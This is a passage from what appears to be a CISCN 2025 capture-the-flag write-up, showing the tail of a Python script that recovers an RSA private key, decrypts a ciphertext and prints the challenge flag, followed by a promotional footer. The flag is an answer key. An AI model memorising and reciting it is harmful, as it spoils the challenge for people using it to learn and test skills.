= pow(E, -1, phi1) m = pow(c, d_priv, n1) pt = int_to_bytes(m, min_len=(n1.bit_length() + 7) // 8) print("[+] decrypted bytes length:", len(pt)) print("[+] decrypted (hex head):", pt[:32].hex()) mflag = re.search(rb"flag\{[^}]+\}", pt) print("[+] FLAG:", mflag.group(0).decode("utf-8", errors="replace"))if __name__ == "__main__": main(r"output.txt")flag{fak3_r5a_0f_euler_ph1_of_RSA_040a2d35} |
更多【CTF对抗-CISCN-2025-初赛writeup NPUSEC】相关视频教程:www.yxfzedu.com